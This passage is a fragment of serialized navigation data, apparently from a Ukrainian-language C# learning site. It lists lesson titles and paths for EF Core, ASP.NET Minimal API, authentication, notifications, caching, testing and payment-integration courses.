Транзакції (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part1","01.csharp\u002F10.ef-core\u002F21.saving-data-part1",{"title":599,"path":600,"stem":601},"Збереження Даних — Concurrency та Outbox (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part2","01.csharp\u002F10.ef-core\u002F21.saving-data-part2",{"title":603,"path":604,"stem":605},"Конкурентність та Блокування (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part1","01.csharp\u002F10.ef-core\u002F22.concurrency-part1",{"title":607,"path":608,"stem":609},"Конкурентність — Дедлоки та Queue Processing (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part2","01.csharp\u002F10.ef-core\u002F22.concurrency-part2",{"title":611,"path":612,"stem":613},"Міграції в EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part1","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part1",{"title":615,"path":616,"stem":617},"Міграції в EF Core — Основи (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part2","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part2",{"title":619,"path":620,"stem":621},"Міграції — Просунуті Сценарії (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part1","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part1",{"title":623,"path":624,"stem":625},"Міграції — Просунуті Сценарії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part2","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part2",{"title":627,"path":628,"stem":629},"Управління Схемою та Database-First (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part1","01.csharp\u002F10.ef-core\u002F25.schema-management-part1",{"title":631,"path":632,"stem":633},"Управління Схемою та Database-First (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part2","01.csharp\u002F10.ef-core\u002F25.schema-management-part2",{"title":635,"path":636,"stem":637},"Продуктивність EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fperformance-fundamentals-part1","01.csharp\u002F10.ef-core\u002F26.performance-fundamentals-part1",{"title":639,"path":640,"stem":641},"Interceptors в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part1","01.csharp\u002F10.ef-core\u002F29.interceptors-part1",{"title":643,"path":644,"stem":645},"Interceptors в EF Core — Connection, Transaction та Materialization (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part2","01.csharp\u002F10.ef-core\u002F29.interceptors-part2",{"title":647,"path":648,"stem":649},"План вивчення Entity Framework Core — Повний курс","\u002Fcsharp\u002Fef-core\u002Fimplementation_plan","01.csharp\u002F10.ef-core\u002Fimplementation_plan",{"title":651,"icon":652,"path":653,"stem":654,"children":655,"page":59},"ASP.NET","i-devicon-dotnetcore","\u002Fcsharp\u002Faspnet","01.csharp\u002F11.aspnet",[656,730,791,869,927,941,967,1057,1111,1182,1212,1289,1346],{"title":657,"icon":658,"path":659,"stem":660,"children":661,"page":59},"Minimal API","i-lucide-network","\u002Fcsharp\u002Faspnet\u002Fminimal-api","01.csharp\u002F11.aspnet\u002F01.minimal-api",[662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726],{"title":663,"path":664,"stem":665},"Вступ до ASP.NET та еволюція фреймворку","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fintroduction","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F01.introduction",{"title":667,"path":668,"stem":669},"Перший додаток на ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Ffirst-application","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F02.first-application",{"title":671,"path":672,"stem":673},"WebApplication, Builder та Dependency Injection","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fwebapplication-builder","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F03.webapplication-builder",{"title":675,"path":676,"stem":677},"Конвеєр запитів та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frequest-pipeline-middleware","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F04.request-pipeline-middleware",{"title":679,"path":680,"stem":681},"Маршрутизація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F05.routing-basics",{"title":683,"path":684,"stem":685},"Маршрутизація в ASP.NET Core: Розширені можливості","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F06.routing-advanced",{"title":687,"path":688,"stem":689},"Статичні файли в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-files","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F07.static-files",{"title":691,"path":692,"stem":693},"Статичні Активи: MapStaticAssets (ASP.NET Core 9.0)","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-assets","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F08.static-assets",{"title":695,"path":696,"stem":697},"Конфігурація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-fundamentals","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F09.configuration-fundamentals",{"title":699,"path":700,"stem":701},"Конфігурація: Паттерн Options","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-options","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F10.configuration-options",{"title":703,"path":704,"stem":705},"Логування в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F11.logging-basics",{"title":707,"path":708,"stem":709},"Логування: Serilog та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F12.logging-advanced",{"title":711,"path":712,"stem":713},"Управління станом: HttpContext.Items та Cookies","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstate-management","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F13.state-management",{"title":715,"path":716,"stem":717},"Стан сесії: Sessions","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fsession-state","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F14.session-state",{"title":719,"path":720,"stem":721},"Структура проєкту: від хаосу до архітектури","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fproject-structure","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F15.project-structure",{"title":723,"path":724,"stem":725},"Scalar у Minimal API: повний проєкт і Fluent OpenAPI","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fscalar-openapi-fluent","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F16.scalar-openapi-fluent",{"title":727,"path":728,"stem":729},"Swagger \u002F Swashbuckle у Minimal API: окремий класичний шлях","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fswagger-swashbuckle","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F17.swagger-swashbuckle",{"title":731,"icon":658,"path":732,"stem":733,"children":734,"page":59},"API","\u002Fcsharp\u002Faspnet\u002Fapi","01.csharp\u002F11.aspnet\u002F02.api",[735,739,743,747,751,755,759,763,767,771,775,779,783,787],{"title":736,"path":737,"stem":738},"Що таке API. Клієнт-серверна архітектура","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fwhat-is-api","01.csharp\u002F11.aspnet\u002F02.api\u002F01.what-is-api",{"title":740,"path":741,"stem":742},"Формати даних: JSON, XML, TOML та бінарні формати","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fdata-formats","01.csharp\u002F11.aspnet\u002F02.api\u002F02.data-formats",{"title":744,"path":745,"stem":746},"Парадигми API та концепція REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-paradigms-rest","01.csharp\u002F11.aspnet\u002F02.api\u002F03.api-paradigms-rest",{"title":748,"path":749,"stem":750},"HTTP-методи, статус-коди та заголовки","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fhttp-methods-status-codes","01.csharp\u002F11.aspnet\u002F02.api\u002F04.http-methods-status-codes",{"title":752,"path":753,"stem":754},"Організація HTTP API за принципами REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Frest-organizing","01.csharp\u002F11.aspnet\u002F02.api\u002F05.rest-organizing",{"title":756,"path":757,"stem":758},"Номенклатура URL та CRUD-операції","\u002Fcsharp\u002Faspnet\u002Fapi\u002Furl-nomenclature-crud","01.csharp\u002F11.aspnet\u002F02.api\u002F06.url-nomenclature-crud",{"title":760,"path":761,"stem":762},"Правила дизайну: іменування та стандарти","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-naming","01.csharp\u002F11.aspnet\u002F02.api\u002F07.api-design-naming",{"title":764,"path":765,"stem":766},"Валідація, ліміти та обробка помилок","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-validation","01.csharp\u002F11.aspnet\u002F02.api\u002F08.api-design-validation",{"title":768,"path":769,"stem":770},"Обробка помилок у Minimal API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Ferror-handling-http","01.csharp\u002F11.aspnet\u002F02.api\u002F09.error-handling-http",{"title":772,"path":773,"stem":774},"Ідемпотентність та синхронізація стану","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fidempotency-sync","01.csharp\u002F11.aspnet\u002F02.api\u002F10.idempotency-sync",{"title":776,"path":777,"stem":778},"Пагінація та організація списків","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fpagination-lists","01.csharp\u002F11.aspnet\u002F02.api\u002F11.pagination-lists",{"title":780,"path":781,"stem":782},"Безпека API, кешування та інтернаціоналізація","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fsecurity-auth","01.csharp\u002F11.aspnet\u002F02.api\u002F12.security-auth",{"title":784,"path":785,"stem":786},"Процес проєктування API та документування","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-process","01.csharp\u002F11.aspnet\u002F02.api\u002F13.api-design-process",{"title":788,"path":789,"stem":790},"OpenAPI: контракт, специфікація та документація API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fopenapi","01.csharp\u002F11.aspnet\u002F02.api\u002F14.openapi",{"title":792,"icon":793,"path":794,"stem":795,"children":796,"page":59},"Auth","i-lucide-shield-check","\u002Fcsharp\u002Faspnet\u002Fauth","01.csharp\u002F11.aspnet\u002F03.auth",[797,801,805,809,813,817,821,825,829,833,837,841,845,849,853,857,861,865],{"title":798,"path":799,"stem":800},"Основи аутентифікації та авторизації","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauth-fundamentals","01.csharp\u002F11.aspnet\u002F03.auth\u002F01.auth-fundamentals",{"title":802,"path":803,"stem":804},"JWT-аутентифікація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fjwt-authentication","01.csharp\u002F11.aspnet\u002F03.auth\u002F02.jwt-authentication",{"title":806,"path":807,"stem":808},"Авторизація: ролі, політики та resource-based доступ","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauthorization-policies","01.csharp\u002F11.aspnet\u002F03.auth\u002F03.authorization-policies",{"title":810,"path":811,"stem":812},"Cookie-аутентифікація та ASP.NET Core Identity","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcookie-auth-identity","01.csharp\u002F11.aspnet\u002F03.auth\u002F04.cookie-auth-identity",{"title":814,"path":815,"stem":816},"JWT + Refresh Tokens (HttpOnly Cookie)","\u002Fcsharp\u002Faspnet\u002Fauth\u002F04b.identity-auth-jwt","01.csharp\u002F11.aspnet\u002F03.auth\u002F04b.identity-auth-jwt",{"title":818,"path":819,"stem":820},"Identity: Підтвердження Email та Скидання Пароля","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-email-confirmation","01.csharp\u002F11.aspnet\u002F03.auth\u002F05.identity-email-confirmation",{"title":822,"path":823,"stem":824},"Identity: Двофакторна Аутентифікація (2FA)","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-two-factor","01.csharp\u002F11.aspnet\u002F03.auth\u002F06.identity-two-factor",{"title":826,"path":827,"stem":828},"Identity: Внутрішня Архітектура та Кастомізація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-internals","01.csharp\u002F11.aspnet\u002F03.auth\u002F07.identity-internals",{"title":830,"path":831,"stem":832},"OAuth 2.0 та зовнішні провайдери","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-external-providers","01.csharp\u002F11.aspnet\u002F03.auth\u002F08.oauth-external-providers",{"title":834,"path":835,"stem":836},"Безпека на практиці: CORS, HTTPS та захист від атак","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fsecurity-hardening","01.csharp\u002F11.aspnet\u002F03.auth\u002F09.security-hardening",{"title":838,"path":839,"stem":840},"Теорія OAuth 2.0: Поняття, Аналогії та Флоу","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-theory","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oauth-theory",{"title":842,"path":843,"stem":844},"OIDC, OAuth 2.0 та Keycloak в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foidc-keycloak","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oidc-keycloak",{"title":846,"path":847,"stem":848},"API Keys аутентифікація в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fapi-keys","01.csharp\u002F11.aspnet\u002F03.auth\u002F11.api-keys",{"title":850,"path":851,"stem":852},"Rate Limiting та Throttling в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frate-limiting","01.csharp\u002F11.aspnet\u002F03.auth\u002F12.rate-limiting",{"title":854,"path":855,"stem":856},"Refresh Token Rotation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frefresh-token-rotation","01.csharp\u002F11.aspnet\u002F03.auth\u002F13.refresh-token-rotation",{"title":858,"path":859,"stem":860},"Certificate Authentication та mTLS в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcertificate-auth","01.csharp\u002F11.aspnet\u002F03.auth\u002F14.certificate-auth",{"title":862,"path":863,"stem":864},"RBAC, ABAC та ReBAC в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frbac-abac-rebac","01.csharp\u002F11.aspnet\u002F03.auth\u002F15.rbac-abac-rebac",{"title":866,"path":867,"stem":868},"Multi-tenancy та ізоляція даних в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fmulti-tenancy","01.csharp\u002F11.aspnet\u002F03.auth\u002F16.multi-tenancy",{"title":870,"icon":871,"path":872,"stem":873,"children":874,"page":59},"Нотифікації","i-lucide-bell","\u002Fcsharp\u002Faspnet\u002Fnotifications","01.csharp\u002F11.aspnet\u002F04.notifications",[875,879,883,887,891,895,899,903,907,911,915,919,923],{"title":876,"path":877,"stem":878},"In-App нотифікації через базу даних","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fin-app-database-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F01.in-app-database-notifications",{"title":880,"path":881,"stem":882},"Polling: Регулярний запит оновлень","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fpolling","01.csharp\u002F11.aspnet\u002F04.notifications\u002F02.polling",{"title":884,"path":885,"stem":886},"Server-Sent Events: Однострімовий push від сервера","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fserver-sent-events","01.csharp\u002F11.aspnet\u002F04.notifications\u002F03.server-sent-events",{"title":888,"path":889,"stem":890},"WebSockets: Двостороннє з'єднання в реальному часі","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fwebsockets","01.csharp\u002F11.aspnet\u002F04.notifications\u002F04.websockets",{"title":892,"path":893,"stem":894},"SignalR: Абстракція над транспортами реального часу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fsignalr","01.csharp\u002F11.aspnet\u002F04.notifications\u002F05.signalr",{"title":896,"path":897,"stem":898},"Background Services: Фонові задачі в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fbackground-services","01.csharp\u002F11.aspnet\u002F04.notifications\u002F06.background-services",{"title":900,"path":901,"stem":902},"Web Push нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fweb-push","01.csharp\u002F11.aspnet\u002F04.notifications\u002F07.web-push",{"title":904,"path":905,"stem":906},"Email нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Femail-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F08.email-notifications",{"title":908,"path":909,"stem":910},"Порівняння підходів: Як вибрати правильну технологію нотифікацій","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fchoosing-the-right-approach","01.csharp\u002F11.aspnet\u002F04.notifications\u002F09.choosing-the-right-approach",{"title":912,"path":913,"stem":914},"Hangfire: Надійне планування фонових задач","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire","01.csharp\u002F11.aspnet\u002F04.notifications\u002F10.hangfire",{"title":916,"path":917,"stem":918},"Практика: Конвертація зображень у WebP через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-image-webp","01.csharp\u002F11.aspnet\u002F04.notifications\u002F11.hangfire-image-webp",{"title":920,"path":921,"stem":922},"Практика: Підготовка відео до HLS-стрімінгу через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-video-hls","01.csharp\u002F11.aspnet\u002F04.notifications\u002F12.hangfire-video-hls",{"title":924,"path":925,"stem":926},"Telegram-нотифікації: від одного повідомлення до масових розсилок і мульти-канального підходу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Ftelegram-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F13.telegram-notifications",{"title":928,"icon":929,"path":930,"stem":931,"children":932,"page":59},"Інтернаціоналізація","i-lucide-languages","\u002Fcsharp\u002Faspnet\u002Fi18n","01.csharp\u002F11.aspnet\u002F05.i18n",[933,937],{"title":934,"path":935,"stem":936},"Інтернаціоналізація (i18n) у Minimal API: від A до Я","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Finternationalization","01.csharp\u002F11.aspnet\u002F05.i18n\u002F01.internationalization",{"title":938,"path":939,"stem":940},"Humanizer: людиномовні рядки у .NET","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Fhumanizer","01.csharp\u002F11.aspnet\u002F05.i18n\u002F02.humanizer",{"title":942,"icon":943,"path":944,"stem":945,"children":946,"page":59},"Кешування","i-lucide-layers","\u002Fcsharp\u002Faspnet\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching",[947,951,955,959,963],{"title":948,"path":949,"stem":950},"Огляд кешування: чотири рівні і коли що обирати","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching\u002F01.caching",{"title":952,"path":953,"stem":954},"IMemoryCache: кеш в оперативній пам'яті","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fmemory-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F02.memory-cache",{"title":956,"path":957,"stem":958},"IDistributedCache і Redis: розподілений кеш","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fdistributed-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F03.distributed-cache",{"title":960,"path":961,"stem":962},"Response Cache: HTTP-кешування через Cache-Control","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fresponse-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F04.response-cache",{"title":964,"path":965,"stem":966},"Output Cache: серверний кеш HTTP-відповідей (.NET 7+)","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Foutput-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F05.output-cache",{"title":968,"icon":969,"path":970,"stem":971,"children":972,"page":59},"Тестування","i-lucide-test-tube","\u002Fcsharp\u002Faspnet\u002Ftesting","01.csharp\u002F11.aspnet\u002F07.testing",[973,977,981,985,989,993,997,1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053],{"title":974,"path":975,"stem":976},"Що таке тестування? Від інтуїції до науки","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-is-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F01.what-is-testing",{"title":978,"path":979,"stem":980},"Піраміда тестування — Стратегія, а не Догма","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-pyramid","01.csharp\u002F11.aspnet\u002F07.testing\u002F02.testing-pyramid",{"title":982,"path":983,"stem":984},"Дві Школи Тестування — Лондон проти Детройту","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-schools","01.csharp\u002F11.aspnet\u002F07.testing\u002F03.testing-schools",{"title":986,"path":987,"stem":988},"TDD та BDD — Тести як Дизайн-інструмент","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftdd-and-bdd","01.csharp\u002F11.aspnet\u002F07.testing\u002F04.tdd-and-bdd",{"title":990,"path":991,"stem":992},"Що саме тестувати — Техніки аналізу та Циклomatична складність","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-to-test","01.csharp\u002F11.aspnet\u002F07.testing\u002F05.what-to-test",{"title":994,"path":995,"stem":996},"Тестові Фреймворки — Навіщо вони і що всередині","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftest-frameworks","01.csharp\u002F11.aspnet\u002F07.testing\u002F06.test-frameworks",{"title":998,"path":999,"stem":1000},"xUnit — Факти, Теорії та Lifecycle тестів","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-basics","01.csharp\u002F11.aspnet\u002F07.testing\u002F07.xunit-basics",{"title":1002,"path":1003,"stem":1004},"xUnit Advanced — Fixtures, Кастомізація та Розширення","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F08.xunit-advanced",{"title":1006,"path":1007,"stem":1008},"Moq — Глибоке занурення в мокування","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fmocking-with-moq","01.csharp\u002F11.aspnet\u002F07.testing\u002F09.mocking-with-moq",{"title":1010,"path":1011,"stem":1012},"Тестування Баз Даних — EF Core, SQLite та Testcontainers","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fdatabase-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F10.database-testing",{"title":1014,"path":1015,"stem":1016},"Integration Testing — Частина 1 [Теорія та WebApplicationFactory]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F11.integration-testing",{"title":1018,"path":1019,"stem":1020},"Інтеграційне тестування — Практика","\u002Fcsharp\u002Faspnet\u002Ftesting\u002F11a.integration-testing-practice","01.csharp\u002F11.aspnet\u002F07.testing\u002F11a.integration-testing-practice",{"title":1022,"path":1023,"stem":1024},"Integration Testing — Частина 2 [Просунуті Сценарії та Testcontainers]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F12.integration-testing-advanced",{"title":1026,"path":1027,"stem":1028},"Професійний Postman: Колекції, Змінні та GitHub Інтеграція","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fpostman-professional","01.csharp\u002F11.aspnet\u002F07.testing\u002F13.postman-professional",{"title":1030,"path":1031,"stem":1032},"HttpClient у Тестах Частина 1: Архітектура та MockHttpMessageHandler","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fhttpclient-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F14.httpclient-testing",{"title":1034,"path":1035,"stem":1036},"HttpClient у Тестах Частина 2: WireMock.Net та Resilience","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwiremock-net","01.csharp\u002F11.aspnet\u002F07.testing\u002F15.wiremock-net",{"title":1038,"path":1039,"stem":1040},"Патерни та Анти-патерни Тестування: Test Smells","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-patterns","01.csharp\u002F11.aspnet\u002F07.testing\u002F16.testing-patterns",{"title":1042,"path":1043,"stem":1044},"Просунуті інструменти: Time, Snapshots та Властивості","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fadvanced-testing-tools","01.csharp\u002F11.aspnet\u002F07.testing\u002F17.advanced-testing-tools",{"title":1046,"path":1047,"stem":1048},"Тестування Архітектури з NetArchTest","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Farchitecture-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F18.architecture-testing",{"title":1050,"path":1051,"stem":1052},"Тестування Продуктивності: BenchmarkDotNet, NBomber та k6","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fperformance-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F19.performance-testing",{"title":1054,"path":1055,"stem":1056},"Залишок плану для курсу \"Тестування ASP.NET Minimal API\"","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fremaining_plan","01.csharp\u002F11.aspnet\u002F07.testing\u002Fremaining_plan",{"title":1058,"icon":1059,"path":1060,"stem":1061,"children":1062,"page":59},"Платежі","i-lucide-credit-card","\u002Fcsharp\u002Faspnet\u002Fpayments","01.csharp\u002F11.aspnet\u002F08.payments",[1063,1067,1071,1075,1079,1083,1087,1091,1095,1099,1103,1107],{"title":1064,"path":1065,"stem":1066},"Основи платіжної інфраструктури","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-fundamentals","01.csharp\u002F11.aspnet\u002F08.payments\u002F01.payment-fundamentals",{"title":1068,"path":1069,"stem":1070},"Методи оплати в Україні","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-methods-ukraine","01.csharp\u002F11.aspnet\u002F08.payments\u002F02.payment-methods-ukraine",{"title":1072,"path":1073,"stem":1074},"PCI DSS та безпека платежів","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpci-dss-security","01.csharp\u002F11.aspnet\u002F08.payments\u002F03.pci-dss-security",{"title":1076,"path":1077,"stem":1078},"Архітектура платіжної підсистеми","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-architecture","01.csharp\u002F11.aspnet\u002F08.payments\u002F04.payment-architecture",{"title":1080,"path":1081,"stem":1082},"Інтеграція LiqPay (ПриватБанк)","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fliqpay-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F05.liqpay-integration",{"title":1084,"path":1085,"stem":1086},"Інтеграція Monobank Acquiring API","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fmonobank-acquiring","01.csharp\u002F11.aspnet\u002F08.payments\u002F06.monobank-acquiring",{"title":1088,"path":1089,"stem":1090},"Інтеграція Stripe","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fstripe-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F07.stripe-integration",{"title":1092,"path":1093,"stem":1094},"Webhooks — глибоке занурення","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fwebhooks-deep-dive","01.csharp\u002F11.aspnet\u002F08.payments\u002F08.webhooks-deep-dive",{"title":1096,"path":1097,"stem":1098},"Підписки та рекурентні платежі","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fsubscriptions-recurring","01.csharp\u002F11.aspnet\u002F08.payments\u002F09.subscriptions-recurring",{"title":1100,"path":1101,"stem":1102},"Повернення коштів та диспути","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Frefunds-disputes","01.csharp\u002F11.aspnet\u002F08.payments\u002F10.refunds-disputes",{"title":1104,"path":1105,"stem":1106},"Тестування платіжних інтеграцій","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Ftesting-payments","01.csharp\u002F11.aspnet\u002F08.payments\u002F11.testing-payments",{"title":1108,"path":1109,"stem":1110},"Чекліст виходу в Production","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fproduction-checklist","01.csharp\u002F11.aspnet\u002F08.payments\u002F12.production-checklist",{"title":1112,"icon":1113,"items":1114,"path":1127,"stem":1128,"children":1129,"page":59},"Популярні бібліотеки","lucide:box",[1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126],"01.fluent-validation","02.mapster","03.erroror-result-pattern","04.serilog","05.mediatr","06.polly","07.health-checks","08.feature-management","09.fluent-email","10.quest-pdf","11.bogus","12.humanizer-guard","\u002Fcsharp\u002Faspnet\u002Flibraries","01.csharp\u002F11.aspnet\u002F09.libraries",[1130,1134,1138,1142,1146,1150,1154,1158,1162,1166,1170,1174,1178],{"title":1131,"path":1132,"stem":1133},"Валідація з FluentValidation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-validation","01.csharp\u002F11.aspnet\u002F09.libraries\u002F01.fluent-validation",{"title":1135,"path":1136,"stem":1137},"Маппінг об","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmapster","01.csharp\u002F11.aspnet\u002F09.libraries\u002F02.mapster",{"title":1139,"path":1140,"stem":1141},"Обробка помилок з ErrorOr та Result Pattern в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ferroror-result-pattern","01.csharp\u002F11.aspnet\u002F09.libraries\u002F03.erroror-result-pattern",{"title":1143,"path":1144,"stem":1145},"Структуроване логування з Serilog в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fserilog","01.csharp\u002F11.aspnet\u002F09.libraries\u002F04.serilog",{"title":1147,"path":1148,"stem":1149},"CQRS та Mediator з 